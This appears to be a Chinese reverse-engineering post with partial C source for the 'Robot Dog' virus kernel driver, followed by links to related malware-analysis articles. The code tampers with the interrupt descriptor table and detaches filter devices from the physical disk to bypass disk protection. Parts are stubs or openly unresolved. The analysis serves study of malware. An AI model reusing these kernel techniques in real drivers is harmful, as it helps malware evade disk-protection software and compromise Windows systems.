include <ntddk.h> // various NT definitions
#define IOCTL_MYDEV_BASE 0xF000
#define IOCTL_MYDEV_Fun_0xF01 CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define DR0_DEVICE_NAME "//Device//Harddisk0//DR0"
#define NT_DEVICE_NAME "//Device//PhysicalHardDisk0"
#define DOS_DEVICE_NAME "//DosDevices//PhysicalHardDisk0"
PDEVICE_OBJECT g_DR0_DeviceObject;
PDEVICE_OBJECT g_OldAttachedDeviceOfDR0;
VOID* g_ResData;
SIZE_T g_ResDataSize;
typedef struct _idtr
{
//定义中断描述符表的限制,长度两字节;
short IDTLimit;
//定义中断描述服表的基址,长度四字节;
unsigned int IDTBase;
}IDTR,*PIDTR;
typedef struct _idtentry
{
//中断执行代码偏移量的底16位;
unsigned short OffsetLow;
//选择器,也就是寄存器;
unsigned short Selector;
//保留位,始终为零;
unsigned char Reserved;
//IDT中的门的类型:包括中断门,陷阱门和任务门;
unsigned char Type:4;
//段标识位;
unsigned char SegmentFlag:1;
//中断门的权限等级,0表示内核级,3表示用户级;
unsigned char DPL:2;
//呈现标志位;
unsigned char Present:1;
//中断执行代码偏移量的高16位;
unsigned short OffsetHigh;
}IDTENTRY,*PIDTENTRY;
#define HOOKINTID_09 9 //NPX Segment Overrun
#define HOOKINTID_0E 0x0E //Page Fault
VOID CheckIdt()//用SIDT指令得到中断向量啊,然后修改中断向量入口地址
{
int INT_09_Address_High8;
int INT_0E_Address_High8;
unsigned long OldISR_09;
unsigned long OldISR_0E;
//保存IDT入口的基地址和限制信息的数据结构;
IDTR idtr;//store interrupt descript table register. to idtr
//记录IDT数组的指针,通过它可以查找到我们需要Hook中断号对应的中断门;
PIDTENTRY IdtEntry;
//汇编指令sidt,获取IDT入口信息;
__asm sidt idtr
//赋予IDT基地址值;
IdtEntry = (PIDTENTRY)idtr.IDTBase;
//保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用
OldISR_09 = ((unsigned int)IdtEntry[HOOKINTID_09].OffsetHigh << 16) | (IdtEntry[HOOKINTID_09].OffsetLow);
INT_09_Address_High8 = OldISR_09&0x0FF000000;
/*
这两句汇编代码什么意思?eax相减应该总是0,那么 jz不总是跳转返回了???
有知道的大侠告诉我dream2fly(QQ:838468959)
sub eax, eax
jz short FunctionExit
难道是?
if (INT_09_Address_High8 == 0)
return;
*/
//保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用;
OldISR_0E = ((unsigned int)IdtEntry[HOOKINTID_0E].OffsetHigh << 16) | (IdtEntry[HOOKINTID_0E].OffsetLow);
INT_0E_Address_High8 = OldISR_0E&0x0FF000000;
if (INT_09_Address_High8 != INT_0E_Address_High8)//检查0E是不是被HOOK
{
//关中断
__asm cli
IdtEntry[HOOKINTID_0E].OffsetHigh = 0;// 作者此处没关中断,难道不bosd?
//开中断
__asm sti
}
}
/*
通过搜索地址来查找自己的加载地址
查找驱动文件的资源中的1000/1000,并复制到一个全局缓冲区中
*/
VOID* SearchSelf()
{
VOID* pSelfImage = NULL;
VOID* pCurAddr = NULL;
VOID* pTmpAddr = NULL;
// loc_40045F:这个取当前地址用C怎么写?
//028 lea ebx, loc_40045F
//028 and ebx, 0FFFFFC00h
//pSelfImage如何取?
while(MmIsAddressValid(pSelfImage))
{
if ((unsigned long)pSelfImage <= 0x80000000)
return NULL;
if (RtlEqualMemory(pSelfImage, "MZ", 2))
{
pCurAddr = pSelfImage;
pTmpAddr = (VOID*)((unsigned long)pSelfImage+0x3C);
(unsigned long)pCurAddr += (unsigned long)(&pTmpAddr);
if (!MmIsAddressValid(pCurAddr))
return NULL;
if (RtlEqualMemory(pCurAddr, "PE", 2))
return pSelfImage;
}
(unsigned long)pSelfImage -= 0x400;//-1024K
}
return NULL;
}
SIZE_T ResLookupDataInDirectoryById(void* pSysBaseAddr, int id1, int id2, CHAR* pResDatas)
{
// 有空再补上:)
return 0;
}
//
// Device driver routine declarations.
//
NTSTATUS
DriverEntry(
IN OUT PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
);
NTSTATUS
CommonDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
);
VOID
Unload(
IN PDRIVER_OBJECT DriverObject
);
NTSTATUS
DriverEntry(
IN OUT PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
NTSTATUS ntStatus;
CHAR* pResData = NULL;
ANSI_STRING SourceString;
PDEVICE_OBJECT DeviceObject = NULL; // ptr to device object
UNICODE_STRING SymbolicLinkName;
UNICODE_STRING DeviceName;
VOID* pSelfImage;
PDEVICE_OBJECT cur_device_object;
PDEVICE_OBJECT next_device_object;
CheckIdt();
pSelfImage = SearchSelf();
if (pSelfImage == NULL)
return -1;
g_ResDataSize = ResLookupDataInDirectoryById(pSelfImage, 1000, 1000, pResData);
if (g_ResDataSize == 0)
{
return -1;
}
g_ResData = ExAllocatePool(NonPagedPool, g_ResDataSize);
// 跳转到下条指令,延时 jmp short ___FCKpd___02
RtlCopyMemory(g_ResData, pResData, g_ResDataSize);
DriverObject->DriverUnload = Unload;
DriverObject->MajorFunction[IRP_MJ_CREATE] =
DriverObject->MajorFunction[IRP_MJ_CLOSE] =
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = CommonDispatch;
// 为什么不用RtlInitUnicodeString( &ntUnicodeString, NT_DEVICE_NAME );代替
RtlInitAnsiString(&SourceString, NT_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&DeviceName, &SourceString, TRUE);
RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);
ntStatus = IoCreateDevice(
DriverObject, // Our Driver Object
0, // We don't use a device extension
&DeviceName,
FILE_DEVICE_NULL, // Device type
0, // Device characteristics //此处应该用FILE_DEVICE_SECURE_OPEN吧?
FALSE, // Not an exclusive device
&DeviceObject ); // Returned ptr to Device Object
if ( !NT_SUCCESS( ntStatus ) )
{
goto End;
}
ntStatus = IoCreateSymbolicLink( &SymbolicLinkName, &DeviceName );
if ( !NT_SUCCESS( ntStatus ) )
{
cur_device_object = DriverObject->DeviceObject;
while (cur_device_object)
{
next_device_object = DeviceObject->NextDevice;
IoDeleteDevice(cur_device_object);
cur_device_object = next_device_object;
}
}
End:
RtlFreeUnicodeString(&DeviceName);
RtlFreeUnicodeString(&SymbolicLinkName);
return STATUS_SUCCESS;
}
VOID
Unload(
IN PDRIVER_OBJECT DriverObject
)
{
ANSI_STRING SourceString;
PDEVICE_OBJECT DeviceObject = NULL; // ptr to device object
UNICODE_STRING SymbolicLinkName;
PDEVICE_OBJECT cur_device_object;
PDEVICE_OBJECT next_device_object;
if (g_ResData)
{
ExFreePool(g_ResData);
}
if (DriverObject)
{
RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);
IoDeleteSymbolicLink(&SymbolicLinkName);
RtlFreeUnicodeString(&SymbolicLinkName);
cur_device_object = DriverObject->DeviceObject;
while (cur_device_object)
{
next_device_object = DeviceObject->NextDevice;
IoDeleteDevice(cur_device_object);
cur_device_object = next_device_object;
}
}
}
NTSTATUS
CommonDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
PDEVICE_OBJECT DRO_DeviceObject = NULL; // ptr to device object
PFILE_OBJECT DRO_FileObject;
ANSI_STRING SourceString;
UNICODE_STRING DRO_DeviceName;
PIO_STACK_LOCATION irpSp;// Pointer to current stack location
NTSTATUS ntStatus = STATUS_SUCCESS;// Assume success
ULONG inBufLength; // Input buffer length
ULONG outBufLength; // Output buffer length
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
irpSp = IoGetCurrentIrpStackLocation( Irp );
inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;
if(!inBufLength || !outBufLength)
{
ntStatus = STATUS_INVALID_PARAMETER;
goto End;
}
switch ( irpSp->MajorFunction )
{
case IRP_MJ_CREATE:
RtlInitAnsiString(&SourceString, DR0_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&DRO_DeviceName, &SourceString, TRUE);
IoGetDeviceObjectPointer(&DRO_DeviceName, 0x80,&DRO_FileObject, &DRO_DeviceObject);
g_DR0_DeviceObject = DRO_FileObject->DeviceObject;
//保存DR0上的附加设备,然后断开附加,等IRP_MJ_CLOSE时恢复附加
if (DRO_FileObject->DeviceObject->AttachedDevice)
{
g_OldAttachedDeviceOfDR0 = DRO_FileObject->DeviceObject->AttachedDevice;
DRO_FileObject->DeviceObject->AttachedDevice= NULL;
}
ObDereferenceObject(DRO_FileObject);
RtlFreeUnicodeString(&DRO_DeviceName);
break;
case IRP_MJ_CLOSE:
if (g_DR0_DeviceObject)
{
if (g_OldAttachedDeviceOfDR0)
{
g_DR0_DeviceObject->AttachedDevice = g_OldAttachedDeviceOfDR0;
}
}
break;
case IRP_MJ_DEVICE_CONTROL:
if ( irpSp->Parameters.DeviceIoControl.IoControlCode == 0x0F0003C04)
{
if (outBufLength < g_ResDataSize)
goto End;
// 此处就是提取驱动里的资源解码返回给ap层,很简单,不再反汇编了,此处省略
// 唯一不理解的是既然是双缓冲应该用IRP.AssociatedIrp.SystemBuffer返回给ap才是
// 难道此时Irp->AssociatedIrp.SystemBuffer和Irp->UserBuffer地址相同??
RtlCopyMemory(Irp->UserBuffer, g_ResData, g_ResDataSize);
Irp->IoStatus.Information = g_ResDataSize;
}
else
{
ntStatus = STATUS_INVALID_DEVICE_REQUEST;
}
break;
default:
//
// The specified I/O control code is unrecognized by this driver.
//
ntStatus = STATUS_INVALID_DEVICE_REQUEST;
break;
}
End:
//
// Finish the I/O operation by simply completing the packet and returning
// the same status as in the packet itself.
//
Irp->IoStatus.Status = ntStatus;
IoCompleteRequest( Irp, IO_NO_INCREMENT );
return ntStatus;
}
相关推荐
针对一个红队病毒样本逆向分析
初始载荷初始载荷如下,其中loader.exe是作者编译的一个shellcode加载器。执行流程有合法签名可执行文件(taskhost.exe)侧载恶意 DLL (sbiedll.dll)。这个恶意DLL作为中间载荷,解密密文载荷DAT文件(sbiedll.dat)获取二阶段有效负载。解密的有效负载MoonWalk充当后门,滥用Google Drive进行命令和控制(C2) 通信。精心构造的配置信息。
[安全攻防进阶篇] 九.熊猫烧香病毒机理IDA和OD逆向分析(上)
如果你想成为一名逆向分析或恶意代码检测工程师,或者对系统安全非常感兴趣,就必须要认真分析一些恶意样本。熊猫烧香病毒就是一款非常具有代表性的病毒,当年造成了非常大的影响,并且也有一定技术手段。本文将详细讲解熊猫烧香的行为机理,并通过软件对其功能行为进行分析,这将有助于我们学习逆向分析和反病毒工作。后续作者还将对其进行逆向调试,以及WannaCry勒索蠕虫、各种恶意样本及木马的分析。基础性文章,希望您喜欢!IDA和OD作为逆向分析的“倚天剑和“屠龙刀”,学好它们的基本用法至关重要。
从零掌握病毒逆向分析:环境搭建、工具链与实战流程全解析
逆向工程是理解软件内部工作原理的核心技术,通过静态与动态分析相结合的方法,将程序从“黑盒”转变为可理解的“白盒”。其原理在于利用反汇编、调试和行为监控工具,在不执行或受控执行的前提下,解析程序的二进制代码、逻辑流程与数据交互。这项技术的价值在于提升系统安全认知、分析潜在威胁与理解复杂软件行为,是安全研究、漏洞挖掘和恶意软件分析的基础。在应用场景上,它广泛用于恶意软件剖析、软件漏洞检测、协议分析和遗留系统维护。本文聚焦于简单病毒样本的逆向分析,详细阐述了如何搭建安全的虚拟化隔离环境,配置包括IDA Pro、G
病毒逆向分析
收到一个病毒样本,被告知高危,需要进行逆向分析。分析完成之后写篇你想分析报告,第一次写病毒逆向报告,还不太会排版,见谅。 首先,先拿到病毒传到世界杀毒网上先看看检出率,不出意料,检出率还挺高(60 / 66),毕竟不算是特别新的病毒了, 但是在高检出率的同时,virustotal和腾讯的哈勃分析系统都没能检测到什么关键的病毒行为(腾讯只检出了打开事件,virustotal只检出Isdebug...
感染型病毒的逆向分析
一个感染型病毒的逆向分析,说实话分析的不咋地,没有解决就等于没分析。
对某病毒的一次完全逆向分析.pdf
唉,好奇心真是害人啊。这里也顺便提醒一下大家,一定要当心,别有用心的人大有人在,有几个真正在无私奉献?笔者为了好奇心付出了惨重的代价,然而,能这么算了吗,血能白流吗?这病毒究竟想干什么?怎么干的?又是出于对以上几个问题的好奇,经过一段时间地折腾,本文诞生了。
病毒木马查杀实战第005篇:熊猫烧香之逆向分析(上)
一、前言 对病毒进行逆向分析,可以彻底弄清楚病毒的行为,从而采取更有效的针对手段。为了节省篇幅,在这里我不打算将“熊猫烧香”进行彻底的分析,只会讲解一些比较重要的部分,大家只要掌握了这些思想,那么就可以处理很多的恶意程序了。一般来说,对病毒的静态分析,我们采用的工具是IDA Pro,动态分析则采用OllyDbg。由于后者会使病毒实际运行起来,所以为了安全起见,最好在虚拟机中操作。
TLF35584 窗口看门狗_理论篇
1)看门狗的结果(有效或无效触发)由相关的看门狗故障计数器独立监控。2)窗口看门狗的状态是WWO,它可能有“有效WWD触发”或“无效WWD触发”值。
再见病毒一枚
http://bbs.pediy.com/showthread.php?p=1207854#post1207854 之前论坛上已有发大牛分析了,抱着学习目的练习下 病毒名称: xxmb
ITIL-IT运维管理-概述
ITIL-IT运维管理-概述 概述 IT服务管理(ITSM)是一套帮助企业对IT系统的规划、研发、实施和运营进行有效管理的方法,是一套方法论。ITSM起源于ITIL(IT Infrastructure Library,IT基础架构标准库),ITIL是CCTA(英国国家电脑局)于1980年开发的一套IT服务管理标准库。它把英国在IT管理方面的方法归纳起来,变成规范,为企业的IT部门提供一套从计划、研发、实施到运维的标准方法。 中文名 IT服务管理 外文名 ITService Management 专家
Python模拟发送SOME/IP消息(Scapy模块)
SOMEIP提供服务、订阅、响应、通知等Python代码示例
机器狗”病毒驱动部分逆向分析注释(C代码)
/*标 题: 【原创】“机器狗”病毒驱动部分逆向分析注释(C代码)作 者: dream2fly(QQ:838468959)时 间: 2008.03.13 于深圳科技园链 接; http://www.dream2fly.net版 本: 1.0 【软件名称】: 机器狗(病毒)【下载地址】: http://www.dream2fly.net 或 自己搜索下载【加壳方式】: 未知壳【编写语言】: MASM
告别屏幕适配焦虑:用AndroidAutoSize 1.2.1搞定多尺寸设备(附AndroidX兼容方案)
本文详细介绍了AndroidAutoSize 1.2.1在屏幕适配中的应用,帮助开发者高效解决多尺寸设备适配问题。通过动态计算机制,AutoSize显著提升了UI一致性和开发效率,特别适合处理横竖屏切换、折叠屏等复杂场景。文章还提供了AndroidX兼容方案和性能优化建议,是Android开发者的实用指南。
“机器狗”病毒驱动部分逆向分析注释(C代码)
创建时间:2008-03-13文章属性:原创文章提交:swords (songbohr_at_163.com)/*标 题: 【原创】“机器狗”病毒驱动部分逆向分析注释(C代码)作 者: dream2fly(QQ:838468959)时 间: 2008.03.13 于深圳科技园链 接; http://www.dream2fly.net版 本: 1.0 【软件名称】: 机器狗(病毒)【下载地址】: h
Halcon阈值算子 -- 局部阈值之dyn_threshold
Halcon阈值算子 – dyn_threshold HALCON有很多阈值算子,接下来将一一介绍。本文先介绍dyn_threshold。 以下介绍主要参考HALCON帮助文档,并加上自己的体会。如有纰漏,欢迎留言指出 理论介绍 dyn_threshold算子的函数签名如下: dyn_threshold(OrigImage, ThresholdImage : RegionDynThresh : Offset, LightDark : ) 输入参数有: OrigImage:待处理图像 ThresholdIm
手把手教你用Apple Developer App完成苹果开发者账号注册(含证件验证失败解决方案)
本文详细指导如何通过Apple Developer App完成苹果开发者账号注册,特别针对证件验证失败问题提供解决方案。从准备工作到注册流程,再到验证失败的处理方法,帮助开发者顺利完成注册,避免常见错误。
病毒木马查杀实战第016篇:U盘病毒之逆向分析
比对脱壳前后的程序 我们这次所要研究的是经过上次的脱壳操作之后,所获取的无壳病毒样本。其实我们这里可以先进行一下对比,看看有壳与无壳的反汇编代码的区别。首先用IDA Pro载入原始病毒样本:图1 可以发现此时IDA Pro的Functionwindow是空的,说明很多函数没能解析出来,并且还无法切换到图形模式,而图形模式正是我们逆向分析的利器。那么下面就载入脱壳后的样本来看
4、风险管理、信息安全与信息管理的核心原则
本文深入探讨了风险管理、信息安全与信息管理的核心原则,涵盖Risk IT框架、ISO 31000标准以及信息安全与信息管理的关键原则。通过案例分析与实际应用挑战的解析,帮助组织更好地应对数字化时代的风险与安全问题,实现可持续发展。
1221



被折叠的 条评论
为什么被折叠?



